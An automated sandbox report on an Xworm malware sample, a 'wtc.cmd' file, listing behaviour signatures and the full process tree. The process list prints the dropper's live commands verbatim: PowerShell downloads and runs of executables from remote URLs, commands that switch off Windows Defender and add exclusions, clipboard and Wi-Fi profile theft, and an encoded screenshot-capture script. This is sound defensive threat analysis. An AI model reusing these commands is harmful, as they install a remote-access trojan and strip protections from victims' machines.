Analysis Overview
Threat Level: Known bad
The file http://64.7.198.63/wtc.cmd was found to be: Known bad.
Malicious Activity Summary
Xworm family
Suspicious use of NtCreateUserProcessOtherParentProcess
Xworm
Detect Xworm Payload
Command and Scripting Interpreter: PowerShell
Blocklisted process makes network request
Drops startup file
Reads user/profile data of web browsers
Executes dropped EXE
Clipboard Data
Unsecured Credentials: Credentials In Files
Loads dropped DLL
Accesses cryptocurrency files/wallets, possible credential harvesting
Looks up external IP address via web service
Obfuscated Files or Information: Command Obfuscation
Enumerates processes with tasklist
AutoIT Executable
UPX packed file
Drops file in Windows directory
System Network Configuration Discovery: Wi-Fi Discovery
Enumerates physical storage devices
Event Triggered Execution: Netsh Helper DLL
System Location Discovery: System Language Discovery
Browser Information Discovery
Suspicious use of WriteProcessMemory
Opens file in notepad (likely ransom note)
Suspicious use of SendNotifyMessage
Suspicious use of AdjustPrivilegeToken
Modifies data under HKEY_USERS
Modifies registry class
Gathers system information
NTFS ADS
Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
Suspicious use of SetWindowsHookEx
Delays execution with timeout.exe
Suspicious use of FindShellTrayWindow
Kills process with taskkill
Detects videocard installed
Enumerates system info in registry
Suspicious behavior: EnumeratesProcesses
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2025-01-19 12:01
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2025-01-19 12:01
Reported
2025-01-19 12:03
Platform
win11-20241007-en
Max time kernel
127s
Max time network
129s
Command Line
Signatures
Detect Xworm Payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Suspicious use of NtCreateUserProcessOtherParentProcess
| Description | Indicator | Process | Target |
| PID 2588 created 3244 | N/A | C:\Users\Public\Guard.exe | C:\Windows\Explorer.EXE |
| PID 2588 created 3244 | N/A | C:\Users\Public\Guard.exe | C:\Windows\Explorer.EXE |
| PID 5408 created 3244 | N/A | C:\Users\Public\Guard.exe | C:\Windows\Explorer.EXE |
| PID 5408 created 3244 | N/A | C:\Users\Public\Guard.exe | C:\Windows\Explorer.EXE |
| PID 5144 created 3244 | N/A | C:\Users\Public\Guard.exe | C:\Windows\Explorer.EXE |
Xworm
Xworm family
Blocklisted process makes network request
Command and Scripting Interpreter: PowerShell
Clipboard Data
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\cmd.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\system32\cmd.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\system32\cmd.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Drops startup file
| Description | Indicator | Process | Target |
| File created | C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url | C:\Windows\SysWOW64\cmd.exe | N/A |
| File opened for modification | C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url | C:\Windows\SysWOW64\cmd.exe | N/A |
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\l\wts.exe | N/A |
| N/A | N/A | C:\l\winb.exe | N/A |
| N/A | N/A | C:\l\winb.exe | N/A |
| N/A | N/A | C:\Users\Public\Guard.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\_MEI28482\rar.exe | N/A |
| N/A | N/A | C:\l\wts.exe | N/A |
| N/A | N/A | C:\Users\Public\Guard.exe | N/A |
| N/A | N/A | C:\l\winb.exe | N/A |
| N/A | N/A | C:\l\wts.exe | N/A |
| N/A | N/A | C:\l\winb.exe | N/A |
| N/A | N/A | C:\Users\Public\jsc.exe | N/A |
| N/A | N/A | C:\Users\Public\Guard.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\_MEI53282\rar.exe | N/A |
| N/A | N/A | C:\Users\Public\Guard.exe | N/A |
| N/A | N/A | C:\Users\Public\Guard.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\_MEI54002\rar.exe | N/A |
| N/A | N/A | C:\Users\Public\jsc.exe | N/A |
| N/A | N/A | C:\Users\Public\jsc.exe | N/A |
Loads dropped DLL
Reads user/profile data of web browsers
Unsecured Credentials: Credentials In Files
Accesses cryptocurrency files/wallets, possible credential harvesting
Looks up external IP address via web service
| Description | Indicator | Process | Target |
| N/A | ip-api.com | N/A | N/A |
Obfuscated Files or Information: Command Obfuscation
AutoIT Executable
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Enumerates processes with tasklist
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\tasklist.exe | N/A |
| N/A | N/A | C:\Windows\system32\tasklist.exe | N/A |
| N/A | N/A | C:\Windows\system32\tasklist.exe | N/A |
| N/A | N/A | C:\Windows\system32\tasklist.exe | N/A |
| N/A | N/A | C:\Windows\system32\tasklist.exe | N/A |
| N/A | N/A | C:\Windows\system32\tasklist.exe | N/A |
| N/A | N/A | C:\Windows\system32\tasklist.exe | N/A |
| N/A | N/A | C:\Windows\system32\tasklist.exe | N/A |
| N/A | N/A | C:\Windows\system32\tasklist.exe | N/A |
UPX packed file
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
Drops file in Windows directory
| Description | Indicator | Process | Target |
| File opened for modification | C:\Windows\SystemTemp | C:\Program Files\Google\Chrome\Application\chrome.exe | N/A |
Browser Information Discovery
Enumerates physical storage devices
Event Triggered Execution: Netsh Helper DLL
| Description | Indicator | Process | Target |
| Key queried | \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh | C:\Windows\system32\netsh.exe | N/A |
| Key value enumerated | \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh | C:\Windows\system32\netsh.exe | N/A |
| Key value enumerated | \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh | C:\Windows\system32\netsh.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh | C:\Windows\system32\netsh.exe | N/A |
| Key value enumerated | \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh | C:\Windows\system32\netsh.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh | C:\Windows\system32\netsh.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh | C:\Windows\system32\netsh.exe | N/A |
| Key queried | \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh | C:\Windows\system32\netsh.exe | N/A |
| Key queried | \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh | C:\Windows\system32\netsh.exe | N/A |
System Location Discovery: System Language Discovery
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Public\jsc.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Public\Guard.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Public\Guard.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Public\Guard.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Public\jsc.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Public\Guard.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Public\Guard.exe | N/A |
System Network Configuration Discovery: Wi-Fi Discovery
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\netsh.exe | N/A |
| N/A | N/A | C:\Windows\system32\cmd.exe | N/A |
| N/A | N/A | C:\Windows\system32\netsh.exe | N/A |
| N/A | N/A | C:\Windows\system32\cmd.exe | N/A |
| N/A | N/A | C:\Windows\system32\netsh.exe | N/A |
| N/A | N/A | C:\Windows\system32\cmd.exe | N/A |
Delays execution with timeout.exe
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\timeout.exe | N/A |
| N/A | N/A | C:\Windows\system32\timeout.exe | N/A |
| N/A | N/A | C:\Windows\system32\timeout.exe | N/A |
| N/A | N/A | C:\Windows\system32\timeout.exe | N/A |
| N/A | N/A | C:\Windows\system32\timeout.exe | N/A |
Detects videocard installed
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| N/A | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
| N/A | N/A | C:\Windows\System32\Wbem\WMIC.exe | N/A |
Enumerates system info in registry
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS | C:\Program Files\Google\Chrome\Application\chrome.exe | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName | C:\Program Files\Google\Chrome\Application\chrome.exe | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer | C:\Program Files\Google\Chrome\Application\chrome.exe | N/A |
Gathers system information
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\systeminfo.exe | N/A |
| N/A | N/A | C:\Windows\system32\systeminfo.exe | N/A |
| N/A | N/A | C:\Windows\system32\systeminfo.exe | N/A |
Kills process with taskkill
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\taskkill.exe | N/A |
| N/A | N/A | C:\Windows\system32\taskkill.exe | N/A |
| N/A | N/A | C:\Windows\system32\taskkill.exe | N/A |
| N/A | N/A | C:\Windows\system32\taskkill.exe | N/A |
| N/A | N/A | C:\Windows\system32\taskkill.exe | N/A |
| N/A | N/A | C:\Windows\system32\taskkill.exe | N/A |
| N/A | N/A | C:\Windows\system32\taskkill.exe | N/A |
Modifies data under HKEY_USERS
| Description | Indicator | Process | Target |
| Set value (int) | \REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "133817617023109841" | C:\Program Files\Google\Chrome\Application\chrome.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry | C:\Program Files\Google\Chrome\Application\chrome.exe | N/A |
Modifies registry class
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\USER\S-1-5-21-2584844841-1405471295-1760131749-1000_Classes\Local Settings | C:\Program Files\Google\Chrome\Application\chrome.exe | N/A |
NTFS ADS
| Description | Indicator | Process | Target |
| File opened for modification | C:\Users\Admin\Downloads\wtc.cmd:Zone.Identifier | C:\Program Files\Google\Chrome\Application\chrome.exe | N/A |
Opens file in notepad (likely ransom note)
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\NOTEPAD.EXE | N/A |
Suspicious behavior: EnumeratesProcesses
Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files\Google\Chrome\Application\chrome.exe | N/A |
| N/A | N/A | C:\Program Files\Google\Chrome\Application\chrome.exe | N/A |
Suspicious use of AdjustPrivilegeToken
Suspicious use of FindShellTrayWindow
Suspicious use of SendNotifyMessage
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Public\jsc.exe | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --disable-background-networking --disable-component-update --simulate-outdated-no-au='Tue, 31 Dec 2099 23:59:59 GMT' --single-argument http://64.7.198.63/wtc.cmd
C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.123 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffedfe1cc40,0x7ffedfe1cc4c,0x7ffedfe1cc58
C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=1792,i,3359387419894312055,18129331124531397317,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=1732 /prefetch:2
C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=2040,i,3359387419894312055,18129331124531397317,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=2096 /prefetch:3
C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=2168,i,3359387419894312055,18129331124531397317,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=2180 /prefetch:8
C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3000,i,3359387419894312055,18129331124531397317,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=3024 /prefetch:1
C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3012,i,3359387419894312055,18129331124531397317,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=3052 /prefetch:1
C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe"
C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=4728,i,3359387419894312055,18129331124531397317,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4872 /prefetch:8
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=4448,i,3359387419894312055,18129331124531397317,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4888 /prefetch:8
C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\Downloads\wtc.cmd"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command "Write-Host 'Troubleshoot started...' -ForegroundColor Green"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command "[void](New-Item -ItemType Directory -Force -Path 'C:\l')"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command "Invoke-WebRequest -Uri 'https://github.com/o2ojy6eyu/win1/releases/download/v1/wts.zip' -OutFile 'C:\l\winup.zip'"
C:\Windows\System32\NOTEPAD.EXE
"C:\Windows\System32\NOTEPAD.EXE" C:\Users\Admin\Downloads\wtc.cmd
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command "Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:\l\winup.zip', 'C:\l')"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command "Start-Process 'C:\l\wts.exe'"
C:\l\wts.exe
"C:\l\wts.exe"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command "Invoke-WebRequest -Uri "https://github.com/newbigs/newintsh/releases/download/v1/jCLjDWsLU" -OutFile "C:\Users\Public\Guard.exe""
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command "Start-Process 'C:\l\winb.exe'"
C:\l\winb.exe
"C:\l\winb.exe"
C:\Windows\system32\timeout.exe
timeout /t 10
C:\l\winb.exe
"C:\l\winb.exe"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Public\PublicProfile.ps1"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\l\winb.exe'"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('.', 0, 'windows', 48+16);close()""
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr'"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
C:\Windows\system32\tasklist.exe
tasklist /FO LIST
C:\Windows\system32\mshta.exe
mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('.', 0, 'windows', 48+16);close()"
C:\Windows\system32\tasklist.exe
tasklist /FO LIST
C:\Users\Public\Guard.exe
"C:\Users\Public\Guard.exe" C:\Users\Public\Secure.au3
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command Add-MpPreference -ExclusionPath 'C:\l\winb.exe'
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr'
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tree /A /F"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "systeminfo"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
C:\Windows\System32\Wbem\WMIC.exe
WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
